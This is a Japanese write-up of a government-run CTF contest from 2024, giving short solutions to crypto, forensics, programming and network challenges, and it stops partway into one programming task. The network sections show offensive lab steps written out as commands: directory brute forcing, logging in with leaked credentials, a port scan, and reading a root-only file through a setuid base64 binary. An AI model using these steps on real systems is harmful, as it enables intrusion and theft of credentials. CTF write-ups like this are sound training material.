2/25に12時間というちょうどよい競技時間で開催された。21時終了だったけれども、17時45分ごろに最速で全完して2位。途中でヒントを開くために2ポイントを使ってしまい*1*2*3、ノーヒント勢に抜かれてしまわないか最後までヒヤヒヤしつつスコアボードを見守っていた。そして終了直前の20時45分ごろに抜かれてしまい、後悔の念に駆られる。
ただ、第1回は1位、第2回は3位、第3回は6位*4と来ていい加減にリベンジを果たしたかったので嬉しい。前回は飛行機の中からの参加であったためまったく余裕がなく、ろくにメモも取っていなかったのでwriteupを書けなかったけれども、今回はメモを取りつつやっていたので書いていきたい。とはいえ、そこまで詳細にメモは取っていなかったし、問題数も多いため簡易的なwriteupとなることを容赦いただきたい。
- [Welcome 10] Welcome! (313 solves)
- [Crypto 10] Information of Certificate (284 solves)
- [Crypto 20] Missing IV (80 solves)
- [Crypto 20] Short RSA Public Key (53 solves)
- [Crypto 30] Cryptographically Insecure PRNG (22 solves)
- [Forensics 10] NTFS Data Hide (141 solves)
- [Forensics 10] NTFS File Delete (135 solves)
- [Forensics 20] HiddEN Variable (42 solves)
- [Forensics 20] NTFS File Rename (115 solves)
- [Forensics 30] My Secret (58 solves)
- [Miscellaneous 10] Une Maison (158 solves)
- [Miscellaneous 10] String Obfuscation (239 solves)
- [Miscellaneous 20] Where Is the Legit Flag? (117 solves)
- [Miscellaneous 20] Utter Darkness (118 solves)
- [Miscellaneous 30] Serial Port Signal (14 solves)
- [Network 10] Discovery (63 solves)
- [Network 10] FileExtract (188 solves)
- [Network 20] Exploit (32 solves)
- [Network 20] DO_tHe_best (3 solves)
- [Network 30] Pivot (19 solves)
- [Programming 10] Logistic Map (211 solves)
- [Programming 20] Randomness Extraction (45 solves)
- [Programming 20] XML Confectioner (80 solves)
- [Programming 30] Twisted Text (74 solves)
- [Trivia 10] The Original Name of AES (284 solves)
- [Trivia 10] CVE Record of Lowest Number (221 solves)
- [Trivia 10] MFA Factors (273 solves)
- [Web 10] Browsers Have Local Storage (260 solves)
- [Web 10] Are You Introspective? (26 solves)
- [Web 20] Insecure (95 solves)
- [Web 20] Variation (6 solves)
- [Web 30] Bruteforce (25 solves)
[Welcome 10] Welcome! (313 solves)
防衛省サイバーコンテスト 2024 へのご参加ありがとうございます!
この問題では解答の方法を確認し、ほかの問題のヒントを開放するのに必要な得点を得ることができます。添付のテキストファイル Welcome.txt にフラグが記載されています。ダウンロードし確認してください。
また、 CyberContest2024.ovpn ファイルは、問題用サーバーに接続するために使用する VPN 設定ファイルです(SHA256: ce27109188e817f3340fa97301522afe56fd830da9f71b2dc7748a1c30e65895)。事前に配布いたしました参加要領に従って接続を行ってください。
解答形式:flag{XXXXXXXX} (半角英数記号)
添付ファイル: Welcome.txt, CyberContest2024.ovpn
Welcome.txt
にフラグが含まれていた。
flag{WelcomeToMODCyberContest!}
[Crypto 10] Information of Certificate (284 solves)
Easy.crt ファイルは自己署名証明書です。証明書の発行者 (Issuer) のコモンネーム (CN) 全体を flag{} で囲んだものがフラグです。
解答形式:flag{XXXXXXXXXXXXXXXXXX} (半角英数記号)
添付ファイル: Easy.crt
証明書が配布されている。開いてみると、たしかに問題文の通りCNにフラグが含まれている。
flag{QRK7rNJ3hShV.vlc-cybercontest.invalid}
[Crypto 20] Missing IV (80 solves)
NoIV.bin ファイルは、128bit AES の CBC モードで暗号化した機密ファイルですが、困ったことに IV (初期化ベクトル) を紛失してしまいました。このファイルからできる限りのデータを復元し、隠されているフラグを抽出してください。
暗号鍵は 16 進数表記で 4285a7a182c286b5aa39609176d99c13 です。
解答形式:flag{XXXXXXXXXX} (半角英数字)
添付ファイル: NoIV.bin
IVを仮に 00 00 00 …
としつつ、雑にCyberChefに投げてみる。なるほど、PK
がところどころ含まれていたり、ファイル名っぽいものもあったりでZIPの雰囲気がある。
適当にZIPファイルを作成して、先頭16バイトを持ってくる。これを file
に投げると OpenDocument Text
ということだったので、拡張子を odt
に変えてWordで開く。フラグが得られた。
flag{ESYQV0fPMxz4wMmU}
[Crypto 20] Short RSA Public Key (53 solves)
RSA-cipher.dat ファイルは RSA 公開鍵 pubkey.pem で暗号化されています。公開鍵から秘密鍵を割り出し、暗号を解読してください。なお、パディングは PKCS#1 v1.5 です。
解答形式:flag{XXXXXXXXXX} (半角英数字)
添付ファイル: pubkey.pem, RSA-cipher.dat
PEMファイルに含まれるModulusは次の通り。
$ openssl rsa -text -pubin < pubkey.pem Public-Key: (256 bit) Modulus: 00:ad:81:c9:26:41:c0:b1:8c:4e:da:55:1c:1d:78: 28:04:4e:3e:4a:75:19:aa:c9:0e:e4:69:1c:4a:86: dc:e2:e1 Exponent: 65537 (0x10001) writing RSA key -----BEGIN PUBLIC KEY----- MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhAK2BySZBwLGMTtpVHB14KAROPkp1GarJ DuRpHEqG3OLhAgMBAAE= -----END PUBLIC KEY-----
FactorDBに素因数分解の結果が載っていた。rsatoolで秘密鍵を作成し、OpenSSLで復号するとフラグが得られた。
$ python3 ~/tools/rsatool/rsatool.py -p 1011146650909449935800449563521726151 -q 77614294907759846691928156982114516291863 -e 65537 -f PEM > priv.pem $ cat RSA-cipher.dat | openssl rsautl -decrypt -inkey priv.pem The command rsautl was deprecated in version 3.0. Use 'pkeyutl' instead. flag{X0Myx6IHI8}
flag{X0Myx6IHI8}
[Crypto 30] Cryptographically Insecure PRNG (22 solves)
PRNG.bin ファイルは下記の式で表される線形合同法で生成された疑似乱数列で XOR をとって暗号化されています。なお、生成された 4 バイトの数を最下位ビットから近い順に 1 バイトずつ平文と XOR をとるものとします。例えば、Hello World を x_0 = 4294967295 = 0xFFFFFFFF の初期値で暗号化した場合、16 進ダンプで b7 9a 93 93 cb 21 57 6f a3 ec 65 となります。
x_{n+1} = (233 x_n + 653) mod 4294967296 鍵(初期値= x_0)を推定し、PRNG.bin に対応する平文からフラグを抽出してください。なお、平文は(内容に意味はありませんが) ASCII でエンコードされた英文であったことがわかっています。また、最初の単語は 4 文字以上です。
解答形式:flag{XXXXXXXXXX} (半角英数字)
単純なLCGであり、また mod 4294967296
ということなので、4294967296通りの「鍵」をブルートフォースしつつ復号してみて、ASCII文字ばかりが現れればそれが正解だ。適当なコードを書く。
#include <stdio.h> #include <string.h> #define SIZE 834 #define isAscii(c) (0x20 <= (c) && (c) < 0x7f) int test(unsigned int seed, unsigned int *buf) { unsigned int x = seed; unsigned int y; for (int i = 0; i < 7; i++) { y = buf[i] ^ x; if ( !(isAscii(y & 0xff) && isAscii((y >> 8) & 0xff) && isAscii((y >> 16) & 0xff) && isAscii((y >> 24) & 0xff)) ) { return 0; } x = 233 * x + 653; } return 1; } void go(unsigned int seed, unsigned int *buf) { unsigned int x = seed; for (int i = 0; i < SIZE / 4; i++) { buf[i] ^= x; x = 233 * x + 653; } puts(buf); } int main(void) { FILE *f; unsigned int buf[100000] = {0}; f = fopen("PRNG.bin", "r"); fread(buf, sizeof(char), SIZE, f); unsigned int seed; for (unsigned int seed = 0; seed < 0xffffffff; seed++) { if (seed % 0x1000000 == 0) { printf("[progress] %x\n", seed); } if (test(seed, buf)) { printf("0x%x\n", seed); go(seed, buf); return 0; } } return 0; }
しばらく待つとフラグが得られた。
… Against selection release between gray knowledge. To interest trot versus protective morning. Round death annoy on interesting bat. Inside finger zip of jolly skate. Opposite flavor exercise of husky quiet. Minus plate include despite whole development. Below society desert than kindhearted head. To shirt guarantee anti steadfast secretary. Beneath tree laugh like romantic expert. To sisters end below hallowed carriage. flag{QVFE5i5LkZdR} Inside hook point into depressed hate. Past act reply anti quarrelsome stove. Aboard badge memorize amid vagabond farm. On riddle request without offbeat pets. At mouth object above present ink. Near curve stroke in garrulous trouble. Anti country answer through swift talk. Over test escape into puzzling crook. Than stream waste near uneven ants. About fireman choke along defective base
flag{QVFE5i5LkZdR}
[Forensics 10] NTFS Data Hide (141 solves)
NTFSDataHide フォルダに保存されている Sample.pptx を利用して、攻撃者が実行予定のスクリプトを隠しているようです。 仮想ディスクファイル NTFS.vhd を解析して、攻撃者が実行しようとしているスクリプトの内容を明らかにしてください。
解答形式:flag{XXXXXX}
添付ファイル: NTFS.zip
NTFS.zip
を展開すると NTFS.vhd
が出てきた。FTK Imagerで開き、NTFSボリュームに含まれているファイルを見ていくと、たしかに Sample.pptx
というファイルがある。しかしながら、特にマクロ等が仕込まれている様子はない。
う~んと思いつつAutopsyで同じことを試していると、なんか知らんがフラグがいた。
flag{data_can_be_hidden_in_ads}
[Forensics 10] NTFS File Delete (135 solves)
NTFSFileDelete フォルダにフラグを記載した txt ファイルを保存したのですが、どうやら何者かによって消されてしまったようです。
問題「NTFS Data Hide」に引き続き、仮想ディスクファイル NTFS.vhd を解析して、削除された flag.txt に書かれていた内容を見つけ出してください。
解答形式:flag{XXXXXX}
先程共有されたvhdファイルをFTK Imagerで開くと、NTFSFileDelete
というフォルダに削除された flag.txt
が見つかる。
flag{resident_in_mft}
[Forensics 20] HiddEN Variable (42 solves)
このメモリダンプが取得された環境にはフラグが隠されています。 memdump.raw を解析して、フラグを見つけ出してください。
メモリダンプファイルのダウンロードはこちら: メモリダンプは展開すると 4.5GB 程度になるので注意してください。
解答形式:flag{XXXXXX}
添付ファイル:
memdump.raw
添付されている memdump.raw
をVolatilityで見ていく。問題名に ENV
, Variable
*5とあるので、環境変数に何かあるのだろう。vol -f memdump.raw windows.envars > envars.txt
して envars.txt
を見ていると、なにかあった。
… 2816 sihost.exe 0x1747e0e2010 FLAG BDkPUNzMM3VHthkj2cVEjdRBqTJcfLMJaxT9si67RgJZ45PS …
ROT13を通したり、ひっくり返したり、テーブルを色々試したりしたものの、Base64デコードとその変化球ではダメだった。ではBase64以外のエンコード方式ではないかと考え、CyberChefが対応しているものを片っ端から試していったところ、Base58デコード*6でフラグが得られた。
flag{volatile_environment_variable}
[Forensics 20] NTFS File Rename (115 solves)
NTFSFileRename フォルダに保存されている Renamed.docx は、以前は別のファイル名で保存されていました。
問題「NTFS File Delete」に引き続き、仮想ディスクファイル NTFS.vhdを解析して、 Renamed.docx の元のファイル名を明らかにしてください。
解答形式:flag{XXXXXX} (XXXXXX.docxから拡張子を除いた部分をflag{}の中に入れて解答してください)
$Extend\$UsnJrnl
からUSNジャーナルを見ていく。ちゃんと読む必要もなく、strings
でそれっぽいファイル名が見つかる。
$ strings -e l -n 8 \$J | sort | uniq … D<journaling_system_is_powerful.docx …
flag{journaling_system_is_powerful}
[Forensics 30] My Secret (58 solves)
問題「HiddEN Variable」に引き続き、メモリダンプファイル memdump.raw を解析して、秘密(Secret)を明らかにしてください。
解答形式:flag{XXXXXX}
vol -f memdump.raw windows.cmdline.CmdLine > cmdline.txt
してから cmdline.txt
を見ていると、次のように 7z.exe
を動かしている様子が見つかった。パスワードもここから得られる。
… 5516 7z.exe 7z x -pY0uCanF1ndTh1sPa$$w0rd C:\Users\vauser\Documents\Secrets.7z -od:\ …
vol -f memdump.raw dumpfiles --pid="5516"
で 7z.exe
が開いている Secrets.7z
の抽出を試みる。これを先程のパスワードで展開すると、フラグが得られた。
flag{you_cannot_find_this_secret!}
[Miscellaneous 10] Une Maison (158 solves)
画像 maison.jpg の中にフラグが隠されています。探してみてください。
解答形式:flag{XXXXXX}
添付ファイル: maison.jpg
かなり巨大な画像が与えられる。これをGoogleで画像検索してみると、似たような画像が見つかった。「青い空を見上げればいつもそこに白い猫」でdiffを見てみると、バーコードが付け足されている様子がわかる。
flag{$50M!}
[Miscellaneous 10] String Obfuscation (239 solves)
難読化された Python コード string_obfuscation.py ファイルからフラグを抽出してください。
解答形式:flag{XXXXXXXX}
添付ファイル: string_obfuscation.py
次のようなPythonコードが与えられている。if
の前に print(KEY)
を付け足せばよい。
import sys if len(sys.argv) < 2: exit() KEY = "gobbledygook".replace("b", "").replace("e", "").replace("oo", "").replace("gk", "").replace("y", "en") FLAG = chr(51)+chr(70)+chr(120)+chr(89)+chr(70)+chr(109)+chr(52)+chr(117)+chr(84)+chr(89)+chr(68)+chr(70)+chr(70)+chr(122)+chr(109)+chr(98)+chr(51) if sys.argv[1] == KEY: print("flag{%s}" % FLAG)
flag{3FxYFm4uTYDFFzmb3}
[Miscellaneous 20] Where Is the Legit Flag? (117 solves)
fakeflag.py を実行しても偽のフラグが出力されてしまいます。難読化されたコードを解読し、本物のフラグを見つけ出してください。
解答形式:flag{XXXXXXXX}
添付ファイル: fakeflag.py
次のようなPythonコードが与えられている。
exec(chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(32)+chr(122)+chr(108)+chr(105)+chr(98)+chr(44)+chr(32)+chr(98)+chr(97)+chr(115)+chr(101)+chr(54)+chr(52)) TANAKA = "eJyNVG1320QT/Z5z8h+GhNYvcR35JZZdaCGhT6D0gQTiFKjjlpU0ljZe7272xYpoy2/vrJRA+MA56IOPrJ29e+feO7sP84JJ2CohsEqYELBlktsCWM64tA6E3+gKEjSm6u/uXBzPz+AZtBY/vRx91Unffv908vOrw9PXz7/E23h/nf2mtp9/Gz05fn9zbv8sB18f/P7DWa9o/5/1f/Hf6KMlhzfJ9YvZ/x4NKzk185PNF6vud3uf/Xjx0eV/PLsUvz4ev/tw1bq6au3u7MNxorYIK5Yi4K0WRAhWyoAuKstTJiDDlFuuZB9C9WvOwEq2RpBsg2CUlxk4Is5XPIXEMGubwlNqVpVc5mB9nqN1BAG2LjeYM5OFpRVumCAUTPF+31yVtAhb+oB0OLcsN4ikjUTmCih8jqCVoSODUpdvLl+9JK0W8fhJdBD1dnfg7pnG3UGPS9ceT7vdQYdW9uFstQLtjVYWQTBiwiwYb6hJ65jDDUpHoPcIYfP03ahTo4yG/Sg8zb/WaNwKkPel8QQeQ3R7etqLh/CB3qKoF8/gbfO2mBwtF9GypvDCm9D4WipHbYsKLCP1S4MuLTADmzISw6gyiHGP3h52euMY+ArmxpNLguhHNY/B8JBaG0TwCAaDnjJZOy1MezjpPCQ3ig6O7pQ4HHYJa9adLQMXOBfeglMIFp0jH0pOCm8ZBZJSialrHIGLQJECnFmwBQqSvqk0zLkKtFGZT5GEo9Iz7yzPSF3MLUhynYw0NpximLzxXISmWchCU39soWRiDZqRHE04eF64lRfAsi0n2JrCCdaomlXBowBGKU0qMtFQHNYYpmYfzgPzBAu25SHAiv65Jk1esoT6K9TmDhCON4psoLhT7FO1aXKfKhnOqR3ykjwq6Zs3pslFG8K+hqXVzKzJLWVSmuJ6gqxWQY7cMF0fEqRvtWjLpSTIJr3XWFKo00Jp6oXoZaiRVqklmh8RNAy7+uHnWhGhf33ai7/9DQ5xWfeRlJiA4wiKkl544yjYoZu7S2XBl38h/Ldd4SbglAZoJu3hoRRHDs9hHA+nT/9Bhp7EIFs//OhoRoej8WQSQxemo3h69HBV02mu7Q5H46M4no46tUPzgqTOC7jxiBIytiF6YAXXGk1Ve8YMt3WQls2OkyqEKQyzUXRBhYwqT83QQKGjJVtQbVN6pike3CFUoVIijV7SZMx6wk/CjUzXcfCxIbe3Eip/P91e46z0MtGz6fjjHmHt7nwCLpe/Qg==" TAKAHASHI = [0x7a,0x7a,0x7a,0x12,0x18,0x12,0x1d,0x12,0x07,0x7b,0x36,0x37,0x3c,0x30,0x36,0x37,0x67,0x65,0x31,0x7d,0x67,0x65,0x36,0x20,0x32,0x31,0x7b,0x20,0x20,0x36,0x21,0x23,0x3e,0x3c,0x30,0x36,0x37,0x7d,0x31,0x3a,0x3f,0x29,0x7b,0x30,0x36,0x2b,0x36] exec(bytes([WATANABE ^ 0b01010011 for WATANABE in reversed(TAKAHASHI)]))
exec
の中で exec
が呼ばれている。exec
を print
に置き換えて展開し、元の exec
を出力されたコードに置き換えてもちゃんと動く。
最終的に、以下のように文字列を作るだけ作って出力していない箇所があるので、これに print
を付け足してやることでフラグが得られた。
( # Around spark scorch above spotty grape. ''# Underneath jewel chop past dependent rifle. . join ([ # Since cobweb tie off hurt string. SATO[i] # Since cobweb tie off hurt string. for i in SUZUKI # if i > 4728: # break # t = 234667 * 83785 # print(t/3457783) # Through queen dam of slippery comparison. ]) # By wall stroke without secret wash. )
flag{PHmN2ILK6vsa}
[Miscellaneous 20] Utter Darkness (118 solves)
画像ファイル darkness.bmp に隠されているフラグを見つけてください。
解答形式:flag{XXXXXX}
添付ファイル: darkness.bmp
真っ黒なビットマップファイルが与えられる。LSB等にも何も仕込まれておらず、正真正銘の真っ黒な画像だ。ふと、色は同じでもパレットの番号が違うのではないかと考える。「青い空を見上げればいつもそこに白い猫」でパレットごとに色を変えてやると、フラグが出てきた。
flag{YjM5MDUyYzAxMj}
[Miscellaneous 30] Serial Port Signal (14 solves)
Tx.csv は、とあるシリアル通信の内容を傍受し、電気信号の Hi, Low をそれぞれ数字の 1 と 0 に変換したものです。通信内容を解析してフラグを抽出してください。
解答形式:flag{XXXXXXXX} (半角英数字)
添付ファイル: Tx.csv
次のようなCSVが与えられる。カラム名はそれぞれ microseconds
, logic
。0, 1はだいたい5つぐらい固まっているのだけれども、ボーレートと microseconds
でズレがあると4つや6つの塊が現れそう。
では、それを考慮して0, 1の整理をした後でどのようにしてデータを得るか。どれぐらいをひとかたまりとするか、どこからデータの始まりとするか等、雑に色々試していたところ、以下のようなスクリプトでフラグが出てきた。
import csv import re t = '' with open('Tx.csv') as f: reader = csv.reader(f) for row in reader: t += row[1] a = re.findall(r'0{5,}|1{5,}', t) a = [x[0] * round(len(x) / 5) for x in a] for i in range(15): print(i, ''.join(chr( int(c[::-1][:7], 2) ) for c in re.findall(r'.{10}', ''.join(a)[i:])))
flag{VwHMP5GQ}
[Network 10] Discovery (63 solves)
あなたはクライアントに依頼されて リリース予定の Web サーバー「10.10.10.21」に問題がないか確認することになりました。
対象サーバーにインストールされている CMS のバージョンを特定し、解答してください。
解答形式:
flag{*.*.*.*, ********: *****} (バージョン番号, リビジョン番号)
何もオプションを付けずに nmap
を叩いたところ、80/tcpが開いていた。これにcurlでアクセスすると、schatzsuche.ctf
へリダイレクトされる。が、内容はなにもない。
$ nmap 10.10.10.21 Starting Nmap 7.80 ( https://nmap.org ) at 2024-02-25 09:25 JST Nmap scan report for 10.10.10.21 Host is up (0.010s latency). Not shown: 998 closed ports PORT STATE SERVICE 22/tcp open ssh 80/tcp open http Nmap done: 1 IP address (1 host up) scanned in 2.27 seconds $ curl -i 10.10.10.21 -H "Host: schatzsuche.ctf" HTTP/1.1 200 OK Server: nginx Date: Sun, 25 Feb 2024 00:26:04 GMT Content-Type: text/html Content-Length: 428 Last-Modified: Thu, 21 Dec 2023 10:30:58 GMT Connection: keep-alive ETag: "658413e2-1ac" Accept-Ranges: bytes <!DOCTYPE html> <html> <head><meta charset="UTF-8"/><title>Welcome to Our Site</title> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="stylesheet" href="style.css"></head><body > <div class="container"> <h1>Welcome to Our Site</h1> <p>This site is currently under construction.</p> <p>Please check back later for more information.</p> </div></body></html>
/etc/hosts
を書き換えて schatzsuche.ctf
が 10.10.10.21
に解決されるようにしておく。gobusterで directory-list-2.3-small.txt
を使ってファイルやディレクトリを探すと、/ftp
が見つかった。これにアクセスするとファイルやディレクトリの一覧が表示され、credentials.txt
が見つかる。
$ curl http://schatzsuche.ctf/ftp/credentials.txt [WebEdition account] webeditor verystrongpass2024
それ以外には見つからず。DirBusterとその辞書で探してみたところ、/cmsadmin
が見つかった。
$ dirb http://schatzsuche.ctf ----------------- DIRB v2.22 By The Dark Raver ----------------- START_TIME: Sun Feb 25 14:56:15 2024 URL_BASE: http://schatzsuche.ctf/ WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt ----------------- GENERATED WORDS: 4612 ---- Scanning URL: http://schatzsuche.ctf/ ---- + http://schatzsuche.ctf/cmsadmin (CODE:301|SIZE:162) ==> DIRECTORY: http://schatzsuche.ctf/ftp/ + http://schatzsuche.ctf/index.html (CODE:200|SIZE:428) + http://schatzsuche.ctf/robots.txt (CODE:200|SIZE:4700) ---- Entering directory: http://schatzsuche.ctf/ftp/ ---- ----------------- END_TIME: Sun Feb 25 14:58:01 2024 DOWNLOADED: 9224 - FOUND: 3
/cmsadmin
からは /webEdition/
へリダイレクトされる。webEdtion CMSなるCMSのログインフォームが表示された。ここで先程手に入れたcredsを使ってログインする。メニューのPreferences → System Informationで細かいバージョン情報が得られた。
flag{9.2.2.0, Revision: 14877}
[Network 10] FileExtract (188 solves)
添付の FileExtract.pcapng ファイルからフラグを見つけ出し、解答してください。
解答形式:flag{**********}
添付ファイル: FileExtract.pcapng
FTPで通信している様子がキャプチャされている。s3cr3t.zip
が受け渡されているので、これを抽出する。
パスワードがかかっているけれども、これはログイン時に使われているものがそのまま使えた。
flag{6qhFJSHAP4A4}
[Network 20] Exploit (32 solves)
クライアントに管理情報が露見していることを報告しました。 問題「Discovery」に引き続き、対象サーバー「10.10.10.21」にインストールされている CMS の脆弱性を調査し、機密情報(フラグ)を入手してください。
本問題の解答には、「Discovery」で発見した CMS を使用します。 なお、対象のCMSのコンテンツは約5分に1回の頻度でリセットされます。
解答形式:flag{******************}
省略する。重いし、5分ごとのリセットは頻度が高すぎるし、そもそも全ユーザで共通の環境であったために、自分の解法がほかの人に、あるいはほかの人の解法が自分に見えてしまっていた。
flag{G3t_R3v3rs3_Sh3ll}
[Network 20] DO_tHe_best (3 solves)
IPアドレス「10.10.10.20」のターゲットシステムに隠された機密情報(フラグ)を見つけ出し、解答してください。
解答形式:flag{**********}
問題名の大文字部分を取ると DOH
だ。DNS over HTTPS(DoH)だろう。たしかに、これでDoHが利用できる。
$ curl -k -H "Accept: application/dns-json" "https://10.10.10.20/dns-query?name=example.com&type=A" {"Status":0,"TC":false,"RD":true,"RA":true,"AD":false,"CD":false,"Question":[{"name":"example.com.","type":1}],"Authority":[{"name":"example.com.","type":6,"TTL":86400,"Expires":"Mon, 26 Feb 2024 03:53:35 UTC","data":"ns.example.com. hostmaster.examle.com. 2024120101 10800 3600 604800 86400"}]}
AXFRやらなんやら色々試してダメだったけれども、ふと 10.10.10.20
の逆引きをするとどうなるか気になった。なるほど、DSb-mt8ZVRtTCL97PDL4rRQxc3TbZ-gu.example.com.
というドメイン名が出てきた。
$ curl -k "https://10.10.10.20/dns-query?name=20.10.10.10.in-addr.arpa&type=PTR" {"Status":0,"TC":false,"RD":true,"RA":true,"AD":false,"CD":false,"Question":[{"name":"20.10.10.10.in-addr.arpa.","type":12}],"Answer":[{"name":"20.10.10.10.in-addr.arpa.","type":12,"TTL":86400,"Expires":"Mon, 26 Feb 2024 11:00:43 UTC","data":"DSb-mt8ZVRtTCL97PDL4rRQxc3TbZ-gu.example.com."}]}
このドメイン名でアクセスしてみる。フラグが得られた。
$ curl -k https://10.10.10.20 -H "Host: DSb-mt8ZVRtTCL97PDL4rRQxc3TbZ-gu .example.com" <!DOCTYPE html> <html> <head> <title>DO tHe best</title> <style> html { color-scheme: light dark; } body { width: 35em; margin: 0 auto; font-family: Tahoma, Verdana, Arial, sans-serif; } </style> </head> <body> <h1>flag{8NZfrhDH-ZGe}</h1> </body> </html>
flag{8NZfrhDH-ZGe}
[Network 30] Pivot (19 solves)
問題「Exploit」より、クライアントに CMS に脆弱性が確認されたことを報告しました。 クライアントは、対象サーバーはコンテナ化しているので安全だと思っていたと驚いていました。
クライアントから追加の依頼があり、保守用の SSH アカウント情報が漏洩した場合の影響を調査することになりました。ポートスキャンやファイル探索などを駆使し、対象サーバー「10.10.10.21」から機密情報(フラグ)を入手してください。
解答方式:flag{***************}
【ログイン情報】
User: george
Password: Mercedes63
george
のホームディレクトリに secrets.txt
というファイルがあるけれども、root
しか読めない。
george@330bb6afc5ef:~$ ls -la secrets.txt -r-------- 1 root root 54 Jan 25 20:10 secrets.txt
ファイルを書き込める場所が /dev/shm
ぐらいしかないし、wget
は george
には使えないし、色々とつらい環境が与えられる。pure bashでポートスキャンをしてやると、192.168.32.2
では9000/tcpが、192.168.32.3
では3306/tcpが、192.168.32.5
では80/tcpがそれぞれ開いている様子が確認できる。後ろの2つはMySQLとHTTPだろうけれども、9000/tcpが(適当なデータを送っても反応がないし)なかなかわからなかった。ふと、Exploitで使われていることを確認していたFastCGIでないかと気づく。
ということで、SSHのポートフォワーディングを活用しつつ、.2にGopherusで生成したペイロードを投げてPHPコードを実行したり(これはExploitですでにできているので無意味)、そこでCMSのために使われているMySQLのcredsを使って.3のDBに入ったり、しかしFILE権限がないことや大したデータがないこと(CMSに admin
というユーザがおり、bcryptでハッシュ化されたパスワードがあったものの、rockyou.txt
では該当するパスワードが存在しないこと等)を確認したり、色々ラテラルムーブメントを試みていたけれども、成果はなし。
ふと、george
のホームディレクトリにあった secrets.txt
について、suidのついたバイナリで読めないかと考える。探すとBase64が見つかった*7。
$ find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null -rwsr-xr-x 1 root root 55672 Feb 21 2022 /usr/bin/su -rwsr-xr-x 1 root root 40496 Nov 24 2022 /usr/bin/newgrp -rwsr-xr-x 1 root root 72072 Nov 24 2022 /usr/bin/gpasswd -rwsr-xr-x 1 root root 44808 Nov 24 2022 /usr/bin/chsh -rwxr-sr-x 1 root shadow 23136 Nov 24 2022 /usr/bin/expiry -rwxr-sr-x 1 root tty 22904 Feb 21 2022 /usr/bin/wall -rwsr-xr-- 1 root root 47480 Feb 21 2022 /usr/bin/mount -rwsr-xr-x 1 root root 72712 Nov 24 2022 /usr/bin/chfn -rwxr-sr-x 1 root shadow 72184 Nov 24 2022 /usr/bin/chage -rwsr-xr-- 1 root root 35192 Feb 21 2022 /usr/bin/umount -rwsr-xr-x 1 root root 35328 Feb 8 2022 /usr/bin/base64 -rwxr-sr-x 1 root _ssh 293304 Aug 24 2023 /usr/bin/ssh-agent -rwsr-xr-x 1 root root 338536 Aug 24 2023 /usr/lib/openssh/ssh-keysign -rwsr-xr-- 1 root messagebus 35112 Oct 25 2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper -rwxr-sr-x 1 root shadow 26776 Feb 2 2023 /usr/sbin/unix_chkpwd -rwxr-sr-x 1 root shadow 22680 Feb 2 2023 /usr/sbin/pam_extrausers_chkpwd
これでまた別のcredsが得られた。
$ base64 secrets.txt | base64 -d [MariaDB Access Information] db_user H4Rib0_90ldB4REN
早速これでDBを確認していく。flag5.flag
というテーブルが見つかった。
$ mysql --protocol=TCP -h localhost -P 8000 -u db_user -p Enter password: Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 581 Server version: 11.2.2-MariaDB-1:11.2.2+maria~ubu2204 mariadb.org binary distribution Copyright (c) 2000, 2023, Oracle and/or its affiliates. Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. mysql> select table_schema, table_name from information_schema.tables; ... | flag5 | flag | +--------------------+---------------------------------------+ 81 rows in set (0.01 sec)
これにフラグが含まれていた。
mysql> select * from flag5.flag; +----+------------------------+ | id | flag | +----+------------------------+ | 1 | flag{p!V071ng_M31s73r} | +----+------------------------+ 1 row in set (0.01 sec)
flag{p!V071ng_M31s73r}
[Programming 10] Logistic Map (211 solves)
下記のロジスティック写像について、x_0 = 0.3 を与えた時の x_9999 の値を求め、小数第7位までの値を答えてください(例:flag{0.1234567})。なお、値の保持と計算には倍精度浮動小数点数を使用してください。
x_{n+1} = 3.99 x_n (1 - x_n)
解答形式:flag{X.XXXXXXX} (半角数字)
Pythonで計算すればよい。
$ python3 Python 3.10.12 (main, Nov 20 2023, 15:14:05) [GCC 11.4.0] on linux Type "help", "copyright", "credits" or "license" for more information. >>> x = 0.3 >>> for _ in range(9999): ... x = 3.99 * x * (1 - x) ... >>> x 0.8112735079776592
flag{0.8112735}
[Programming 20] Randomness Extraction (45 solves)
ファイル random.dat は一様でない乱数生成器の出力ですが、一部にフラグが埋め込まれています。フォン・ノイマンランダムネスエクストラクターを適用してフラグを抽出してください。
解答形式:flag{XXXXXXX} (半角英数字)
添付ファイル: random.zip
適当に "neumann randomness extractors github" のようなクエリでググるとMayankKharbanda/randomness_extractorsがヒットする。これに投げるとなんかフラグが出てきた。スクリプトキディだ。
$ python3 randomness_extractors/neumann/von_neumann.py -i random.dat -o test $ strings -n 6 test | grep flag flag{3TcPs8QFcX}
flag{3TcPs8QFcX}
[Programming 20] XML Confectioner (80 solves)
添付の sweets.xml には、多数の sweets:batch 要素が含まれています。これらの中から、下記の条件すべてを満たすものを探してください。
- 少なくとも二つの子要素 sweets:icecream が含まれる
- 子要素 sweets:icecream には icecream:amount 属性の値が 105g を下回るものがない
- 子要素 sweets:candy の candy:weight 属性の値の合計が 28.0g 以上である
- 子要素 sweets:candy の candy:shape 属性が 5 種類以上含まれる
- cookie:kind 属性が icing でありかつ cookie:radius 属性が 3.0cm 以上の子要素 sweets:cookie を少なくとも一つ含む
フラグは、条件を満たす sweets:batch 要素内において、最も cookie:radius 属性が大きな sweets:cookie 要素の内容に書かれています。
解答形式:flag{XXXXXXXX} (半角英数字)
添付ファイル: sweets.zip
XPathを使えばよいのだろうけれども、ぱっと文法を思い出せなかったし、適当なドキュメントを見ても問題を解くのに十分なレベルまで持っていける気がしなかったので、Pythonで雑に書く。lxmlの使い方もなっとらん。
